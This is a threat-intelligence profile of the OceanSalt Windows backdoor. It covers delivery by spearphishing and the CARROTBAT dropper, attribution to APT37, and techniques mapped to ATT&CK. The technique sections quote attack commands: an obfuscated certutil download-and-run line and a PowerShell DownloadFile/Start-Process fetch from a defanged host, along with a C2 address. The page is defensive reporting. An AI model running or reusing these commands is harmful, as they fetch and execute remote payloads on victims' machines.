OceanSalt
- Type
- Backdoor
- Capabilities
- ReconnaissancePost exploitationDefense evasion
- Delivery
- Spearphishing
- Platforms
- Windows
OceanSalt is a Windows backdoor used to provide remote command execution and reconnaissance on compromised endpoints. It can enumerate running processes and their identifiers, collect the victim system’s IP address, delete files, and establish a reverse shell through the Windows command interpreter. It applies a bitwise NOT operation to data before transmitting it to its command-and-control server.
OceanSalt has been delivered through spearphishing emails containing malicious Microsoft Office attachments and through the CARROTBAT dropper. CARROTBAT began delivering OceanSalt in June 2018 as part of the Fractured Block campaign, which used decoys themed around Korean political developments and cryptocurrency. Identified victims included organizations in South Korea, the United States, and Canada. OceanSalt has been associated with Group123, also known as APT37. Although some samples share code similarities with historical APT1 tooling, those similarities do not establish attribution to APT1.
Associated threat actors
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Malware used by Group123: KARAE, HAPPYWORK, PoohMilk Loader, Oceansalt, BLUELIGHT
Beginning in June 2018, we observed the OceanSalt malware family being dropped by CARROTBAT.
Techniques & procedures
18 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
1 technique
Initial Access
[OceanSalt](https://attack.mitre.org/software/S0346) has been delivered via spearphishing emails with Microsoft Office attachments.(Citation: McAfee Oceansalt Oct 2018)
Execution
3 techniques
Execution
[OceanSalt](https://attack.mitre.org/software/S0346) can create a reverse shell on the infected endpoint using cmd.exe.(Citation: McAfee Oceansalt Oct 2018) [OceanSalt](https://attack.mitre.org/software/S0346) has been executed via malicious macros.(Citation: McAfee Oceansalt Oct 2018)
The content notes use of macros in Word/Office documents and VB scripts, including examples such as APT28, Dark Caracal, menuPass, TrickBot, OceanSalt, OilRig, Nomadic Octopus, and SQLRat executing VB scripts on hosts.
The content references malicious macros and script-based launchers, e.g., 'APT28 ... used macros to execute payloads', 'Dark Caracal has used macros in Word documents that would download a second stage if executed', 'TrickBot has used macros in Excel documents to download and deploy the malware', and 'PoetRAT has called cmd through a Word document macro.'
Persistence
1 technique
Persistence
"Install.bat... setting the Run registry key to ensure persistence."
Privilege Escalation
1 technique
Privilege Escalation
"Install.bat... setting the Run registry key to ensure persistence."
Stealth
4 techniques
Stealth
[OceanSalt](https://attack.mitre.org/software/S0346) can delete files from the system.(Citation: McAfee Oceansalt Oct 2018)
"certutil -decode -f setup.txt setup.cab" and "C2 information... is encoded using an incremental XOR key"
"c^e^r^tutil -urlca^che -spl^it -f https://881.000webhostapp[.]com/1.txt && ren 1.txt 1.bat && 1.bat" and "certutil -decode -f setup.txt setup.cab"
"rundll32 %TEMP%\\drv.dll EntryPoint"
Discovery
4 techniques
Discovery
[OceanSalt](https://attack.mitre.org/software/S0346) can collect the victim’s IP address.(Citation: McAfee Oceansalt Oct 2018)
[OceanSalt](https://attack.mitre.org/software/S0346) can collect the name and ID for every process running on the system.(Citation: McAfee Oceansalt Oct 2018)
[OceanSalt](https://attack.mitre.org/software/S0346) can collect the computer name from the system.(Citation: McAfee Oceansalt Oct 2018)
[OceanSalt](https://attack.mitre.org/software/S0346) can extract drive information from the endpoint and search files on the system.(Citation: McAfee Oceansalt Oct 2018)
Collection
1 technique
Collection
"The payload... is a CAB file that is then unpacked."
Command and Control
4 techniques
Command and Control
"DownloadFile('https://881.000webhostapp[.]com/0_31.doc', '%TEMP%\\AAA.exe');Start-Process('%TEMP%\\AAA.exe')" and "certutil -urlcache -split -f ... 1.txt"
[OceanSalt](https://attack.mitre.org/software/S0346) can encode data with a NOT operation before sending the data to the control server.(Citation: McAfee Oceansalt Oct 2018)
4H RAT has the capability to create a remote shell. AuditCred can open a reverse shell on the system to execute commands. PlugX allows actors to spawn a reverse shell on a victim. QuasarRAT can launch a remote shell to execute commands on the victim’s machine.
"OceanSalt... communicating with 61.14.210[.]72:7117"
Observables
16 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
16 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.